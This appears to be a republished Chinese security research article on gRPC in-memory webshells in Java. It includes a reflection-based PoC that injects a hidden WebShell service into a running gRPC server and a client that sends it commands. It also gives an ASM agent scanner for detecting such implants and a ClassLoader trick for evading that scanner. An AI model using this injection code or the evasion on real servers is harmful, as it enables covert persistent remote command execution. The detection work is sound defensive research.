0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

gRPC内存马研究与查杀

冬至子 来源:小陈的Life 作者:Leiothrix 2023-06-01 11:24 次阅读

0****2

gRPC介绍

了解gRPC之前,就需要引入RPC的设计理念,才能更好的理解gRPC的工作原理

远程过程调用(Remote Procedure Call,缩写为 RPC)是一个计算机通信协议。该协议允许一台计算上的程序调用另一台计算机上运行的程序,使得程序员无需再做额外的操作。如果是面向对象的场景,也可以称作为远程方法调用,比如熟知的Java RMI(Remote Method Invocation)调用。

图片

而gRPC是由Google开发的一款高性能的开源RPC框架,经常用于微服务之间各种不同语言的程序调用函数和通信,大大的增加了微服务之间的通信效率和平台依赖性。同时gRPC是使用Protocol buffers作为接口定义语言(IDL),可以通过编写的proto文件来定义消息结构体和RPC远程调用函数。

协调的接口是通过proto文件来定义的消息结构,相关文档可以在Reference[1]中找到。再来看看gRPC的接口定义语言Protocol Buffers的工作流程图:

图片

结合后续的案例说明,proto文件定义好之后需要通过生成器生成对应语言的代码,并在项目中使用才可以建立gRPC调用。

03

案例说明

这里直接用绿盟星云实验室开源的gRPC靶场来研究:https://github.com/snailll/gRPCDemo

首先直接看看他的user.proto是如何定义的

syntax = "proto3";
package protocol;




option go_package = "protocol";
option java_multiple_files = true;
option java_package = "com.demo.shell.protocol";


message User {
  int32 userId = 1;
  string username = 2;
  sint32 age = 3;
  string name = 4;
}


service UserService {
  rpc getUser (User) returns (User) {}
  rpc getUsers (User) returns (stream User) {}
  rpc saveUsers (stream User) returns (User) {}
}

可以看到文件中定义了go_package和java_package两个变量,用处是明确指出包的命名空间,防止与其他语言的名称冲突。而java_multiple_files = true 选项则是允许为每个生成的类,生成一个单独的 .java 文件。

定义好了proto文件之后,就可以通过protoc或者maven的插件来生成grpc代码,这里我用的protoc二进制文件和插件protoc-gen-grpc来生成。

用下列两个命令生成对应的Java代码文件:

protoc -I=. --java_out=./codes/ user.proto


protoc.exe --plugin=protoc-gen-grpc-java.exe --grpc-java_out=./code --proto_path=. user.proto

这里的grpc插件一定要重新命名为"protoc-gen-grpc-java",不然会显示找不到命令。

之后会在codes文件中生成对象关系的java文件,code文件夹中生成grpc相关的UserServiceGrpc.java文件。

把生成好的Java文件添加到开发的项目中,并新建一个UserServiceImpl类,用来实现grpc的方法。

package com.demo.shell.service;


import com.demo.shell.protocol.User;
import com.demo.shell.protocol.UserServiceGrpc;
import io.grpc.stub.StreamObserver;




/**
 * @author demo
 * @date 2022/11/27
 */
public class UserServiceImpl extends UserServiceGrpc.UserServiceImplBase {
    @Override
    public void getUser(User request, StreamObserver< User > responseObserver) {
        System.out.println(request);
        User user = User.newBuilder()
                .setName("response name")
                .build();
        responseObserver.onNext(user);
        responseObserver.onCompleted();
    }


    @Override
    public void getUsers(User request, StreamObserver< User > responseObserver) {
        System.out.println("get users");
        System.out.println(request);
        User user = User.newBuilder()
                .setName("user1")
                .build();
        User user2 = User.newBuilder()
                .setName("user2")
                .build();
        responseObserver.onNext(user);
        responseObserver.onNext(user2);
        responseObserver.onCompleted();
    }


    @Override
    public StreamObserver< User > saveUsers(StreamObserver< User > responseObserver) {


        return new StreamObserver< User >() {
            @Override
            public void onNext(User user) {
                System.out.println("get saveUsers list ---- >");
                System.out.println(user);
            }


            @Override
            public void onError(Throwable throwable) {
                System.out.println("saveUsers error " + throwable.getMessage());
            }


            @Override
            public void onCompleted() {
                User user = User.newBuilder()
                        .setName("saveUsers user1")
                        .build();
                responseObserver.onNext(user);
                responseObserver.onCompleted();
            }
        };
    }
}

在创建一个Main方法启动Netty服务

public static void main(String[] args) throws Exception {
    int port = 8082;
    Server server = NettyServerBuilder
        .forPort(port)
        .addService(new UserServiceImpl())
        .build()
        .start();
    System.out.println("server started, port : " + port);
    server.awaitTermination();
}

图片

再编写客户端调用服务器方法

package com.demo.shell.test;


import com.demo.shell.protocol.User;
import com.demo.shell.protocol.UserServiceGrpc;
import io.grpc.ManagedChannel;
import io.grpc.ManagedChannelBuilder;


import java.util.Iterator;


/**
 * @author demo
 * @date 2022/11/27
 */
public class NsTest {
    public static void main(String[] args) {


        User user = User.newBuilder()
                .setUserId(100)
                .build();


        String host = "127.0.0.1";
        int port = 8082;
        ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
        UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = UserServiceGrpc.newBlockingStub(channel);
        User responseUser = userServiceBlockingStub.getUser(user);
        System.out.println(responseUser);


        Iterator< User > users = userServiceBlockingStub.getUsers(user);
        while (users.hasNext()) {
            System.out.println(users.next());
        }


        channel.shutdown();
    }
}

服务器输出对应的参数请求内容

图片

04

gRPC内存马实现原理

先从服务端启动来看看UserServiceImpl是如何注册的

int port = 8082;
Server server = NettyServerBuilder
    .forPort(port)
    .addService(new UserServiceImpl())
    .build()
    .start();

forPort这里只是新建了一个NettyServerBuilder类,并设置了启动服务需要绑定的端口

而到addService方法中,新建的UserServiceImpl类作为参数传递进了方法体中

public T addService(BindableService bindableService) {
    this.delegate().addService(bindableService);
    return this.thisT();
}

代码中的this.delegate()就是io.grpc.internal.ServerImplBuilder类

跟进查看

图片

看到addService方法中添加的其实是bindService的返回值。

图片

这里的正好是之前grpc插件生成的UserServiceGrpc类

@java.lang.Override public final io.grpc.ServerServiceDefinition bindService() {
    return io.grpc.ServerServiceDefinition.builder(getServiceDescriptor())
        .addMethod(
        getGetUserMethod(),
        io.grpc.stub.ServerCalls.asyncUnaryCall(
            new MethodHandlers<
            com.demo.shell.protocol.User,
            com.demo.shell.protocol.User >(
                this, METHODID_GET_USER)))
        .addMethod(
        getGetUsersMethod(),
        io.grpc.stub.ServerCalls.asyncServerStreamingCall(
            new MethodHandlers<
            com.demo.shell.protocol.User,
            com.demo.shell.protocol.User >(
                this, METHODID_GET_USERS)))
        .addMethod(
        getSaveUsersMethod(),
        io.grpc.stub.ServerCalls.asyncClientStreamingCall(
            new MethodHandlers<
            com.demo.shell.protocol.User,
            com.demo.shell.protocol.User >(
                this, METHODID_SAVE_USERS)))
        .build();
}

里面的代码正好对应proto文件中定义的三个方法名

addService添加了需要注册的方法,之后就是通过Build方法编译好且设置不可修改。

public Server build() {
    return new ServerImpl(this, this.clientTransportServersBuilder.buildClientTransportServers(this.getTracerFactories()), Context.ROOT);
}

Build方法中创建了ServerImpl对象,再来看看ServerImpl对象的构造方法

ServerImpl(ServerImplBuilder builder, InternalServer transportServer, Context rootContext) {
    this.executorPool = (ObjectPool)Preconditions.checkNotNull(builder.executorPool, "executorPool");
    this.registry = (HandlerRegistry)Preconditions.checkNotNull(builder.registryBuilder.build(), "registryBuilder");
    ...
}

主要是关注builder.registryBuilder.build()方法,进入的正好是io.grpc.internal.InternalHandlerRegistry$Builder类的build方法。

static final class Builder {
    private final HashMap< String, ServerServiceDefinition > services = new LinkedHashMap();


    Builder() {
    }


    InternalHandlerRegistry.Builder addService(ServerServiceDefinition service) {
        this.services.put(service.getServiceDescriptor().getName(), service);
        return this;
    }


    InternalHandlerRegistry build() {
        Map< String, ServerMethodDefinition< ?, ? >> map = new HashMap();
        Iterator var2 = this.services.values().iterator();


        while(var2.hasNext()) {
            ServerServiceDefinition service = (ServerServiceDefinition)var2.next();
            Iterator var4 = service.getMethods().iterator();


            while(var4.hasNext()) {
                ServerMethodDefinition< ?, ? > method = (ServerMethodDefinition)var4.next();
                map.put(method.getMethodDescriptor().getFullMethodName(), method);
            }
        }


        return new InternalHandlerRegistry(Collections.unmodifiableList(new ArrayList(this.services.values())), Collections.unmodifiableMap(map));
    }
}

最后返回的Collections.unmodifiableList和Collections.unmodifiableMap,就是将list列表和map转换成无法修改的对象,因此注册的UserServiceImpl对象中的方法从一开始就确定了。

图片

至此,内存马的实现步骤就可以得知,需要通过反射重新定义ServerImpl对象中的this.registry值,添加进我们内存马的ServerServiceDefinition和ServerMethodDefinition。

05

内存马注入

由于M01N Team公众号中并未直接给出poc利用,这里我也只能凭借自己的想法慢慢复现。

由于需用反射替换掉原先被设置unmodifiable的ServerServiceDefinition和ServerMethodDefinition,因此就需要ServerImpl对象的句柄。

图片

由于ServerImpl并不是静态的类,需要获取的字段也不是静态的,因此要获取到JVM中ServerImpl的类,可目前为止我没有想到有什么很好的方式获取。如果读者们有更好的思路可以留言给我,欢迎相互讨论学习。

注入的思路,就是先获取ServerImpl中已经有的ServerServiceDefinition和ServerMethodDefinition,读取到新的List和Map中,并在新的List和Map中添加WebShell内存马的信息,最后再设置unmodifiable属性并更改registry对象的值。

Poc如下所示,需要提供ServerImpl对象的实例。

public static void changeGRPCService(Server server){
    try {
        Field field = server.getClass().getDeclaredField("registry");
        field.setAccessible(true);
        Object registry = field.get(server);
        Class< ? > handler = Class.forName("io.grpc.internal.InternalHandlerRegistry");
        Field services = handler.getDeclaredField("services");
        services.setAccessible(true);
        List servicesList = (List) services.get(registry);
        List< Object > newServicesList = new ArrayList< Object >(servicesList);


        //调用WebShell的bindService
        Class< ? > cls = Class.forName("com.demo.shell.protocol.WebShellServiceGrpc$WebShellServiceImplBase");
        Method m = cls.getDeclaredMethod("bindService");
        BindableService obj = new WebshellServiceImpl();
        ServerServiceDefinition service = (ServerServiceDefinition) m.invoke(obj);


        newServicesList.add(service);    //添加新的Service到List中
        services.set(registry, Collections.unmodifiableList(newServicesList));
        Field methods = handler.getDeclaredField("methods");
        methods.setAccessible(true);
        Map methodsMap = (Map) methods.get(registry);
        Map< String,Object > newMethodsMap = new HashMap< String,Object >(methodsMap);


        for (ServerMethodDefinition< ?, ? > serverMethodDefinition : service.getMethods()) {
            newMethodsMap.put(serverMethodDefinition.getMethodDescriptor().getFullMethodName(), serverMethodDefinition);
        }
        methods.set(registry,Collections.unmodifiableMap(newMethodsMap));
    } catch (Exception e) {
        e.printStackTrace();
    }
}

上面的代码片段只是一个demo版本,具体的实现需要把WebShellServiceGrpc类转成字节码,再Definition到JVM中。

注入完成后,在客户端执行如下代码调用即可:

package com.demo.shell.test;


import com.demo.shell.protocol.WebShellServiceGrpc;
import com.demo.shell.protocol.Webshell;
import io.grpc.ManagedChannel;
import io.grpc.ManagedChannelBuilder;


/**
 * @author demo
 * @date 2022/11/27
 */
public class NsTestShell {
    public static void main(String[] args) {


        Webshell webshell = Webshell.newBuilder()
                .setPwd("x")
                .setCmd("calc")
                .build();


        String host = "127.0.0.1";
        int port = 8082;
        ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();


        WebShellServiceGrpc.WebShellServiceBlockingStub webShellServiceBlockingStub = WebShellServiceGrpc.newBlockingStub(channel);
        Webshell s = webShellServiceBlockingStub.exec(webshell);
        System.out.println(s.getCmd());
        try {
            Thread.sleep(5000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        channel.shutdown();
    }
}

图片

而原本公众号中给出的防御方式是通过RASP技术对动态修改Service对象的行为做出拦截。其实我个人觉得这里不太好埋点,比如我可以对Service的上层对象registry直接做修改,或者我对Services对象的某个ServerServiceDefinition做修改,不做添加而只是修改原来已经存在的Method,操作的对象就不需要再更改Services的值。

06

gRPC内存马查杀

首先在Agent中的transform方法中用ASM消费所有的类

ClassReader reader = new ClassReader(bytes);
ClassWriter writer = new ClassWriter(reader, 0);
GrpcClassVisitor visitor = new GrpcClassVisitor(writer,Grpc_Methods_list);
reader.accept(visitor, 0);

这里的GrpcClassVisitor就是当前类的父类的接口是否继承自io.grpc.BindableService,如果是,则说明这是一个gRPC实现类,因此当中定义的方法都可以是危险函数,需要进一步使用可达性分析判断是否有危险Sink函数。

package com.websocket.findMemShell;


import java.util.List;


import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;




public class GrpcClassVisitor extends ClassVisitor {

  private String ClassName = null;
  private List< String > Grpc_Methods_list;


    public GrpcClassVisitor(ClassWriter writer,List< String > Grpc_Methods_list) {
        super(Opcodes.ASM4, writer);
        this.Grpc_Methods_list = Grpc_Methods_list;
    }


    @Override
    public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
        if(superName.contains("ServiceGrpc")) {
          try {
          String cls = Thread.currentThread().getContextClassLoader().loadClass(superName.replaceAll("/", "\\\\.")).getInterfaces()[0].getName();
          if(cls.equals("io.grpc.BindableService")) {
            //System.out.println("SuperName Class:"+cls);
            this.ClassName = name;
          }

            } catch (ClassNotFoundException e) {
          // TODO Auto-generated catch block
          e.printStackTrace();
        }
        }
      super.visit(version, access, name, signature, superName, interfaces);
    }

    @Override
    public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
      MethodVisitor methodVisitor = cv.visitMethod(access, name, desc, signature, exceptions);
      if(this.ClassName == null) {
        return methodVisitor;
      }else {
        return new MyMethodVisitor(methodVisitor, access, name, desc,this.ClassName,this.Grpc_Methods_list);
      }

    }

    class MyMethodVisitor extends MethodVisitor implements Opcodes {
      private String MethodName;
      private String ClassName;
      private List< String > Grpc_Methods_list;
        public MyMethodVisitor(MethodVisitor mv, final int access, final String name, final String desc,String ClassName,List< String > Grpc_Methods_list) {
            super(Opcodes.ASM5, mv);
            this.MethodName = name;
            this.ClassName = ClassName;
            this.Grpc_Methods_list = Grpc_Methods_list;
        }

        @Override
        public void visitMethodInsn(final int opcode, final String owner,
                final String name, final String desc, final boolean itf) {

          if(!this.Grpc_Methods_list.contains(this.ClassName+"#"+this.MethodName)) {
            this.Grpc_Methods_list.add(this.ClassName+"#"+this.MethodName);
            //System.out.println(this.ClassName+"#"+this.MethodName);
            }
            super.visitMethodInsn(opcode, owner, name, desc, itf);
        }
    }
}

判断函数逻辑:

if(discoveredCalls.containsKey(cp.getClassName().replaceAll("\\\\.", "/"))) {
    List< String > list = discoveredCalls.get(cp.getClassName().replaceAll("\\\\.", "/"));
    for(String str : list) {
        if(dfsSearchSink(str)) {
            stack.push(str);
            stack.push(cp.getClassName().replaceAll("\\\\.", "/"));
            StringBuilder sb = new StringBuilder();
            while(!stack.empty()) {
                sb.append("- >");
                sb.append(stack.pop());
            }
            System.out.println("Controller CallEdge: "+sb.toString());
            break;
        }
    }
}

这样的好处可以查找出系统中gRPC的内存马。

图片

缺点是在查找gRPC实现类的时候,需要用到当前线程的ClassLoader判断父类是否继承自io.grpc.BindableService,因此攻击的时候只需要更改加载的ClassLoader即可绕过。

图片

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • RPC
    RPC
    +关注

    关注

    0

    文章

    111

    浏览量

    11509
  • 生成器
    +关注

    关注

    7

    文章

    313

    浏览量

    20973
  • JVM
    JVM
    +关注

    关注

    0

    文章

    157

    浏览量

    12205
  • 计算机通信
    +关注

    关注

    1

    文章

    26

    浏览量

    8428
收藏 人收藏

    评论

    相关推荐

    GRPC的基础使用方法

    gRPC 是 Google 开源的高性能、通用的 RPC 框架,它采用了基于 HTTP/2 协议的二进制传输协议,支持多种语言,包括 Rust。Rust 语言 GRPC 模块是一个用于 Rust
    的头像 发表于 09-19 16:08 896次阅读

    云如是说

    显微镜下进行分析研究的又一起因。互联网在公司经营中发挥着越来越大的作用,如何正确看待互联网的意义?如何有效地利用互联网为公司的赢利目标服务?相信读者们能从云的话语中得到很多启迪。这,是我们决定在此时期选择云作为中国企业家范例
    发表于 07-16 18:50

    一键清理网站木马文件,从此网站拥有专属保镖 ——阿里云虚拟主机推出木马查杀功能

    摘要: 近日,阿里云推出了云虚拟主机网站木马查杀的新功能,十分适合对网站安全不了解、不熟悉的用户,或网站出现挂情况不清楚如何处理的用户。 阿里云表示,此次网站木马查杀功能是阿里云安骑士专为虚拟主机
    发表于 01-04 12:08

    安瓿智能视觉检测机器人研究_

    安瓿智能视觉检测机器人研究_
    发表于 01-19 21:54 0次下载

    熊猫烧香病毒怎样进行手动查杀

    手动查杀:只不通过代码的方式对病毒进行查杀,通过鼠标指指点点+DOS命令实现杀毒 粗浅,往往不能查杀干净 并不代表什么软件都不用,专业分析软件 手动查杀病毒木马固定的流程: 1. 排查
    发表于 10-09 18:28 1次下载
    熊猫烧香病毒怎样进行手动<b class='flag-5'>查杀</b>

    谷歌开源高性能通用RPC框架gRPC

    谷歌开源了 gRPC-Kotlin/JVM,让开发者可以在 Kotlin 项目中更方便地使用 gRPC,以更简单的方式构建可靠的网络连接服务。
    的头像 发表于 04-20 14:43 2746次阅读
    谷歌开源高性能通用RPC框架<b class='flag-5'>gRPC</b>

    如何在虚拟环境下进行病毒的查杀详细资料概述

    传统的安全服务大多将病毒查杀实体置于用户的操作内部,会产生大量资源开销和浪费,且病毒查杀的程序本身就处于不安全的环境,容易遭到恶意程序的破坏,很难保证安全服务的完整性。为此,提出一种无代理的病毒查杀
    发表于 11-03 16:31 13次下载
    如何在虚拟环境下进行病毒的<b class='flag-5'>查杀</b>详细资料概述

    基于改进SIFT和RANSAC图像拼接算法研究_

    基于改进SIFT和RANSAC图像拼接算法研究_强(怎样测监控电源电流)-基于改进SIFT和RANSAC图像拼接算法研究_强这是一份非常不错的资料,欢迎下载,希望对您有帮助!
    发表于 07-26 12:53 12次下载
    基于改进SIFT和RANSAC图像拼接算法<b class='flag-5'>研究</b>_<b class='flag-5'>马</b>强

    IP知识百科之什么是gRPC

    gRPC Google远程过程调用(Google Remote Procedure Call,gRPC)协议是谷歌发布的高性能、通用的开源RPC软件框架。gRPC提供了多种编程语言,同时gRP
    的头像 发表于 11-16 15:13 3191次阅读

    FindShell内存查杀工具

    FindShell.zip
    发表于 05-06 11:57 3次下载
    FindShell<b class='flag-5'>内存</b><b class='flag-5'>马</b><b class='flag-5'>查杀</b>工具

    gRPC-Nebula微服务框架

    ./oschina_soft/grpc-nebula.zip
    发表于 06-22 14:59 0次下载
    <b class='flag-5'>gRPC</b>-Nebula微服务框架

    gRPC-Web访问gRPC服务的Web客户端

    ./oschina_soft/grpc-web.zip
    发表于 06-22 09:25 0次下载
    <b class='flag-5'>gRPC</b>-Web访问<b class='flag-5'>gRPC</b>服务的Web客户端

    正确使用gRPC与GraphQL

    TLDR:使用 GraphQL 进行客户端-服务器通信,使用 gRPC 进行服务器到服务器通信。有关此规则的例外情况,请参阅“判定”部分。 我已经阅读了很多关于这两种协议的比较,并想写一个全面和公正
    的头像 发表于 12-08 15:47 1065次阅读

    什么是gRPC

    相信大家对RPC协议都有一定的了解,并且或多或少都会在项目中涉及,但可能都和小编类似,都是直接使用平台封装的插件,对于其中的原理不是很了解,今天借此机会和大家分享下最近接触的RPC框架-grpc
    的头像 发表于 10-07 16:24 654次阅读

    使用go语言实现一个grpc拦截器

    在开发grpc服务时,我们经常会遇到一些通用的需求,比如:日志、链路追踪、鉴权等。这些需求可以通过grpc拦截器来实现。本文使用go语言来实现一个 grpc一元模式(Unary)拦截器,上报链路追踪信息。
    的头像 发表于 12-18 10:13 630次阅读
    使用go语言实现一个<b class='flag-5'>grpc</b>拦截器